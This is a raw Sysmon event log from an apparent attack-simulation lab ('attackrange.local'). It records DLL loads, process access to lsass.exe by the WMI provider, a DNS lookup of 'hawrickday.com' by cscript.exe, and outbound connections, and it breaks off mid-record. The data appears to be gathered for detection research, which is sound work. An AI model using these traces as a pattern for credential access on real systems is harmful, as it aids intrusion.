734700x800000000000000052381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000052380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 10341000x800000000000000052379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\system32\wbem\wmiprvse.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000052376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\framedynos.dll10.0.14393.4169 (rs1_release.210107-1130)WMI SDK Provider FrameworkMicrosoft® Windows® Operating SystemMicrosoft Corporationframedyn.dllMD5=F5BCBB0713FF862975B07056D25E166E,SHA256=DBB3B6E35E0FEF5B878DE8C85AF578B51C1C2DB025865354E27394AEA87824B2,IMPHASH=AB84E6F170EE70C2F0F5C709A85E872CtrueMicrosoft WindowsValid 734700x800000000000000052375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000052374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.012{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\cimwin32.dll10.0.14393.3297 (rs1_release_1.191001-1045)WMI Win32 ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationcimwin32.dllMD5=35C291C2351E11C928195BFD018A972C,SHA256=CC1655A2CD71118C0197A1A96D47E86C74F58AA6D589B55F77D8C1C12C542BA7,IMPHASH=5CFF0D3EC414472191BC623FB107BCF1trueMicrosoft WindowsValid 734700x800000000000000052373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.997{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wmiutils.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwmiutils.dllMD5=5179B0DEF3AB5CAC3BA02316AF1B6B40,SHA256=FA4112CB0D1A133C41FD001F958F0BE930BB49072BF97A3D765AEA8DB841ABC4,IMPHASH=EE3767E8CDC80CCB91A8FC0A7407A4A9trueMicrosoft WindowsValid 10341000x800000000000000052372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:22.997{7BD73061-65B2-613B-1600-00000000F001}12961152C:\Windows\system32\svchost.exe{7BD73061-7306-613B-6F0B-00000000F001}6396C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+43f7|C:\Windows\system32\wbem\wmiprvsd.dll+15538|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wbemcore.dll+b920|C:\Windows\system32\wbem\wbemcore.dll+255ff|C:\Windows\system32\wbem\wbemcore.dll+24a9a|C:\Windows\system32\wbem\wbemcore.dll+2485e|C:\Windows\system32\wbem\wbemcore.dll+2685b|C:\Windows\system32\wbem\wbemcore.dll+22b78|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000016700Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:24.232{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C410D51E873C7C5B54C5E838BD1DD935,SHA256=269F815425A4E37020EC7279A1C081A2074E680E143C699F9BC46D6A5674334E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000052410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:24.562{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+6497|C:\Windows\System32\SHCORE.dll+6387|C:\Windows\System32\SHCORE.dll+62fd|C:\Windows\System32\SHCORE.dll+620a|C:\Windows\System32\SHELL32.dll+55a50|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad 10341000x800000000000000052409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:24.562{7BD73061-6D0F-613B-9406-00000000F001}44803132C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHCORE.dll+64c8|C:\Windows\System32\SHCORE.dll+1c0e5|C:\Windows\System32\SHELL32.dll+55531|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11ed7|C:\Windows\System32\USER32.dll+22a53|C:\Windows\SYSTEM32\ntdll.dll+a9814|UNKNOWN(FFFFF800916DA8A8)|UNKNOWN(FFFFEC48E0AA5B68)|UNKNOWN(FFFFEC48E0AA5CE7)|UNKNOWN(FFFFEC48E0AA0371)|UNKNOWN(FFFFEC48E0AA1D3A)|UNKNOWN(FFFFEC48E0A9FFF6)|UNKNOWN(FFFFF800913F2103)|C:\Windows\System32\win32u.dll+10c4|C:\Windows\System32\USER32.dll+1ea2e|C:\Windows\System32\SHELL32.dll+592ab|C:\Windows\System32\SHELL32.dll+dac6a|C:\Windows\System32\SHCORE.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000052408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:24.562{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms~RF342dc9.TMPMD5=9CE40B87B4DE6E12A311E3011E46F657,SHA256=128C27FCF1CC1C7E2B336B63DD81FC2335143DFD10813C8EF0DE8FC6C9B997D9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000052407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:24.546{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c0467b|C:\Program Files\Mozilla Firefox\xul.dll+bfd432|C:\Program Files\Mozilla Firefox\xul.dll+c02a70|C:\Program Files\Mozilla Firefox\xul.dll+c031cb|C:\Program Files\Mozilla Firefox\xul.dll+396c71|C:\Program Files\Mozilla Firefox\xul.dll+c03f99|C:\Program Files\Mozilla Firefox\xul.dll+c06f52|C:\Program Files\Mozilla Firefox\xul.dll+c039b6|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+be47e3|C:\Program Files\Mozilla Firefox\xul.dll+be39b5|C:\Program Files\Mozilla Firefox\xul.dll+be9f5b 10341000x800000000000000052406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:24.546{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c0467b|C:\Program Files\Mozilla Firefox\xul.dll+bfd432|C:\Program Files\Mozilla Firefox\xul.dll+c02a70|C:\Program Files\Mozilla Firefox\xul.dll+c031cb|C:\Program Files\Mozilla Firefox\xul.dll+396c71|C:\Program Files\Mozilla Firefox\xul.dll+c03f99|C:\Program Files\Mozilla Firefox\xul.dll+c06f52|C:\Program Files\Mozilla Firefox\xul.dll+c039b6|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+be47e3|C:\Program Files\Mozilla Firefox\xul.dll+be39b5|C:\Program Files\Mozilla Firefox\xul.dll+be9f5b 734700x800000000000000052405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:24.531{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cscapi.dll10.0.14393.0 (rs1_release.160715-1616)Offline Files Win32 APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcscapi.dllMD5=6433F8201BFB449DC6B47F6999C2F164,SHA256=06729F1E0A0596620B48B6DC4A2CC9CC5FE55B17BD488C71F7F15AA4262C8C14,IMPHASH=50E2F760F0B39DC72CAD6892FEDF2F27trueMicrosoft WindowsValid 734700x800000000000000052404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:24.531{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ntshrui.dll10.0.14393.4169 (rs1_release.210107-1130)Shell extensions for sharingMicrosoft® Windows® Operating SystemMicrosoft Corporationntshrui.dllMD5=E996A5D4EA7754FF1B0411F0B1664603,SHA256=B2DA0AC549C551A2CAF0714EF3B344C33943292FB1FA9F2EEFA706B6FF18F1A2,IMPHASH=AC4154F2DB854AC5F42815BCE5C34155trueMicrosoft WindowsValid 23542300x800000000000000052417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:25.313{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=C449FF2947F49417F1892BB9F858C196,SHA256=8DC37261286475DD95106AB4BC2232939D0F4506DAC08E1CFCE65D71975D3E1F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:25.313{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=0763246D3D9DFE0E91ABDC024B07FCEC,SHA256=52A0EA2D6CEA889A3B61B1240A4542DE11C1D4E7510DA9AB0BA4FC5ACD4B9EB5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:25.312{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=ECEA74EBEB99FCD831DC3382497882E0,SHA256=8E032252FD11DB7174F0392D96322A3C34ECFCF4D8051727084C101048729356,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:25.311{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=1A90298F76941070C74763F3075A02F5,SHA256=1357BC20C3571AE57E0B694408ED96A7AEE6731606EEA156126BB7779ADD04F9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:25.311{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=499BB4BA78F17B968BC6B8746118B827,SHA256=9BF49C4AB7C8231CBAAE9A3CCEF14C17B5DF241575D95A293B14436CE810158A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 22542200x800000000000000052412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:23.090{7BD73061-728E-613B-5B0B-00000000F001}1020hawrickday.com9003-C:\Windows\System32\cscript.exe 23542300x800000000000000052411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:25.016{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00909E4BE4D9166B80AE449EE460EACD,SHA256=2FB363F3C4C04A0C281CF8748F63FAA30E1F409C66F4BE1DC4958B4B7E3CBA4A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016701Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:25.263{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0375F59F06FCE2FB737D3A86B661143D,SHA256=5268D51C3A2B025577BD6E10854142309884E5DA5D3FD66BC3F2BEC87C213CB2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016702Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:26.279{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1A311C27C5F245B76FEB0A867B7545B4,SHA256=9FB4D1FD869EB02E23B095EE69693F23C0B63312A61359D7BD841A769AD63299,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:24.534{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59613-false10.0.1.12-8000- 23542300x800000000000000052418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:26.031{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=50DE266F39B183A9EA37BB39E29B4B52,SHA256=A8F1C489446AF526C51B6B32CF0611A1784EA1399C4695BA56C75E74A7BE89BB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016704Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:27.294{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F6DAD34FD0DBA53DCAEF69726B67E03,SHA256=364893CA8321A2C6A5E4EDF135754A8F80E907049330FB37BAAB2A1BA3A6DE72,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:27.031{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3D24EB9F8A62A2A53659C391D521BE58,SHA256=7F9FF48FE1AE68D4D7728656ADBEC2E66911C76E8E6C958FFF32D75DF497DF13,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016703Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:25.459{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50311-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016705Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:28.310{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BE7D6882DEA1ABD8CD26D1E0400D5A96,SHA256=DBAB9C7C2E40BF4F495CAD3FE0F3DD58058B0EA42027932A56463A53ED6E1DDB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:28.093{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=41056874ACC3627BC4771FCE88F8B236,SHA256=9E8C009A80DC4476B8E24B11BAEEDB2CF55298B5EE4A73159ABFF2E7C390452F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016706Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:29.325{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9FAB32B22BC94D883E039059711088E,SHA256=9A8E2A41DDD0FA18CB7D694789445CA9F2E6A5D0D35FF24ADEBD3ED53E19C6CA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:29.877{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:29.130{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=57B0790D6BCD6FAB8857F3963DFA157C,SHA256=913A80E15CF8DC55062EE3AEBDF74D4F950B9908488449DCD6566DCD526A1EF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016707Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:30.372{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17BF4FCCF57CEAED6DE39973CB0D50B5,SHA256=356A761E4A1B77482D9D22AE9A22ACAAB03DD0A71754B40337E181186ACF673C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:27.953{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59614-false104.46.162.226-443https 23542300x800000000000000052424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:30.161{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D4E8238EDE41E1794369ABD52BCA43B,SHA256=3AE10580D0E189113CB072FEF783D30B06DEA2F3E7D9E79534429EBAE62FC72E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016721Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:31.573{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-730F-613B-0505-00000000F101}1460C:\Program 